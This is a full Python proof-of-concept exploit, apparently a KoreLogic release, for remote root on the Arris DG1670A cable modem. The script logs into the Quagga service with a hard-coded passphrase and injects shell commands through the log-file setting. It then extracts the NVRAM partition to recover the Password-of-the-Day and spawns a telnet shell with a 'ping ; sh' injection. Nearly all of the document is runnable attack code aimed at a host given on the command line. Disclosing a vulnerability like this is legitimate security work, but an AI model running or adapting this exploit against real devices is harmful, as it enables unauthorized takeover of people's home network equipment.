#!/usr/bin/env python2 ######################################################################## # # Copyright 2016 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # ####################################################################### from sys import exit try: from optparse import OptionParser from telnetlib import Telnet from urllib2 import urlopen from os import mkdir, system, remove, rmdir from time import sleep from threading import Thread except ImportError as e: print "[!] Could not import required modules, reason: %s." % (e) exit(1) class Exploit: def __init__(self, host): self.host = host self.static_quagga_passphrase = 'JhAkuo18' return def check_quagga_availability(self): try: telnet_object = Telnet(self.host, 2602, 5) except Exception as e: return False return True def check_http_availability(self): try: fd = urlopen('http://%s:8080/' % (self.host)) except Exception as e: return False return True def get_pwod_from_nvram(self): self.pwod = '' try: print "[+] Setting up NVRAM attack against environment." telnet_object = Telnet(self.host, 2602, 5) telnet_object.read_until("Password: ") telnet_object.write("%s\n" % self.static_quagga_passphrase) telnet_object.read_until('>') telnet_object.write("enable\n") telnet_object.read_until('#') telnet_object.write("configure terminal\n") telnet_object.read_until('#') telnet_object.write("log file /var/tmp/guioff.sh\n") telnet_object.read_until('#') telnet_object.write("exit\n") telnet_object.read_until('#') telnet_object.write( "log notifications | cat /dev/mmcblk0p3 >> /var/log/trouble_report.txt\n") telnet_object.read_until('#') telnet_object.write("configure terminal\n") telnet_object.read_until('#') telnet_object.write("log file /var/tmp/log.txt\n") telnet_object.read_until('#') telnet_object.close() try: print "[+] Getting NVRAM from HTTP service." fd = urlopen('http://%s:8080/guioff.sh' % (self.host)) sleep(3) fd = urlopen('http://%s:8080/ts_report.log.txt' % (self.host)) partition = fd.read() fd.close() fd = open('mmcblk0p3.ext3', 'wb') fd.write(partition) fd.close() try: print "[+] Mounting NVRAM partition." try: print "[+] Creating nvram/ directory." mkdir('nvram') try: system('mount -o loop -t ext3 mmcblk0p3.ext3 nvram/') try: fd = open('nvram/1/100', 'rb') self.pwod = fd.read() fd.close() try: system('umount nvram/') try: remove('mmcblk0p3.ext3') rmdir('nvram/') except Exception as e: print "[!] Could not delete temporary NVRAM file, reason: %s." % (e) return False except Exception as e: print "[!] Could not unmount nvram/ directory, reason: %s." % (e) return False except Exception as e: print "[!] Could not read Password-of-the-Day file, reason: %s." % (e) return False except Exception as e: print "[!] Could not mount NVRAM, reason: %s." % (e) return False except Exception as e: print "[!] Could not create nvram/ directory, reason: %s." % (e) return False except Exception as e: print "[!] Could not mount NVRAM partition, reason: %s." % (e) return False except Exception as e: print "[!] Could not get NVRAM from HTTP service, reason: %s." % (e) return False except Exception as e: print "[!] Could not set up NVRAM read attack against Quagga, reason: %s." % (e) return False return True def enable_arris_minicli(self): try: print "[+] Configuring the Arris Mini CLI attack." telnet_object = Telnet(self.host, 2602, 5) telnet_object.read_until("Password: ") telnet_object.write("%s\n" % self.static_quagga_passphrase) telnet_object.read_until('>') telnet_object.write("enable\n") telnet_object.read_until('#') telnet_object.write("configure terminal\n") telnet_object.read_until('#') telnet_object.write("log file /var/tmp/guion.sh\n") telnet_object.read_until('#') telnet_object.write("exit\n") telnet_object.read_until('#') telnet_object.write( "log notifications | /sbin/utelnetd -l /usr/sbin/mini_cli\n") telnet_object.read_until('#') telnet_object.write("configure terminal\n") telnet_object.read_until('#') telnet_object.write("log file /var/tmp/log.txt\n") telnet_object.read_until('#') telnet_object.close() try: print "[+] Running the poisoned HTTP shell handler." fd = urlopen('http://%s:8080/guion.sh' % (self.host)) except Exception as e: print "[!] An error ocurred while running the poisoned HTTP shell handler, reason: %s." % (e) return False except Exception as e: print "[!] Could not setup Arris Mini CLI attack against Quagga and HTTP, reason: %s." % (e) return False return True def trigger_shell(self): sleep(10) try: telnet_object = Telnet(self.host, 23, 5) telnet_object.read_until("Enter password>", 180) telnet_object.write("%s\n" % (self.pwod)) telnet_object.read_until(">") telnet_object.write("system\n") telnet_object.read_until(">") telnet_object.write("ping ; sh\n") while True: lines = telnet_object.read_all() for line in lines.split("\n"): print line command = raw_input() if (command == "exit"): break else: telnet_object.write("%s\n" % (command)) except Exception as e: print "[!] Error while interacting with shell, reason: %s. Try connecting to the shell manually." % (e) return False return True def run(self): print "[+] Testing connectivity to the Quagga service." if (self.check_quagga_availability()): print "[+] Connected to Quagga successfully.\n[+] Testing connectivity to the HTTP service." if (self.check_http_availability()): print "[+] Connected to HTTP successfully.\n[+] Getting Password-of-the-Day from NVRAM." if (self.get_pwod_from_nvram()): print "[+] Got Password-of-the-Day: %s\n[+] Enabling Arris Mini CLI." % (self.pwod) Thread( target=self.enable_arris_minicli, args=(), name="arris-minicli").start() print "[+] Started the Arris Mini CLI thread.\n[+] Sleeping for 10 seconds and triggering shell." self.trigger_shell() else: print "[!] Could not get Password-of-the-Day from NVRAM." else: print "[!] Could not connect to the HTTP service on the target host." else: print "[!] Could not connect to the Quagga service on the target host." return def main(): print "%s\n%s\n%s\n%s\n%s\n" % ("-" * 80, "Arris DG1670A remote root".center(80), "Brought to you by KoreLogic".center(80), "@thatguylevel".center(80), "-" * 80) parser = OptionParser() parser.add_option("--host", dest="host", help="Target host address") o, a = parser.parse_args() if (o.host is not None): x = Exploit(o.host) x.run() else: print "[!] --host was not specified." return if __name__ == "__main__": main()